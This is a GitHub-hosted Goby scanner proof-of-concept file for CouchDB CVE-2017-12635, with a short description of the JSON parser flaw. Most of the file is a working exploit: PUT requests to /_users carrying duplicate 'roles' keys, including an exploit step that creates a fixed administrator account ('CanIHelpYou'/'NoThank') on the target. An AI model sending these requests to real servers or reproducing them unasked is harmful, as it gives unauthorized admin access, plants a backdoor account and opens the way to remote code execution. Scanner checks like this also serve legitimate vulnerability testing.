forked from aetkrad/goby_poc
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathCouchdb_Add_User_Not_Authorized_CVE_2017_12635.json
110 lines (110 loc) · 5.18 KB
/
Couchdb_Add_User_Not_Authorized_CVE_2017_12635.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
{
"Name": "Couchdb Add User Not Authorized CVE-2017-12635",
"Level": "3",
"Tags": [
"Ultra vires"
],
"GobyQuery": "app=\"APACHE-CouchDB\"",
"Description": "Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges.",
"Product": "APACHE-CouchDB",
"Homepage": "http://couchdb.apache.org",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [],
"HasExp": true,
"ExpParams": [
{
"Name": "创建用户",
"Type": "select",
"Value": "CanIHelpYou:NoThank"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "PUT",
"uri": "/_users/org.couchdb.user:{{{str1}}}",
"follow_redirect": false,
"header": {
"Content-Type": "application/json"
},
"data_type": "text",
"data": " {\n \"type\": \"user\",\n \"name\": \"{{{str1}}}\",\n \"roles\": [\"_admin\"],\n \"roles\": [],\n \"password\": \"{{{str2}}}\"\n }",
"set_variable": [
"str1|rand|str|32",
"str2|rand|str|64"
]
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "201",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "org.couchdb.user:{{{r1}}}",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody||"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "PUT",
"uri": "/_users/org.couchdb.user:CanIHelpYou",
"follow_redirect": false,
"header": {
"Content-Type": "application/json"
},
"data_type": "text",
"data": " {\n \"type\": \"user\",\n \"name\": \"CanIHelpYou\",\n \"roles\": [\"_admin\"],\n \"roles\": [],\n \"password\": \"NoThank\"\n }",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "201",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "org.couchdb.user:CanIHelpYou",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody||"
]
}
],
"PostTime": "2021-11-10 19:52:21",
"GobyVersion": "1.8.302"
}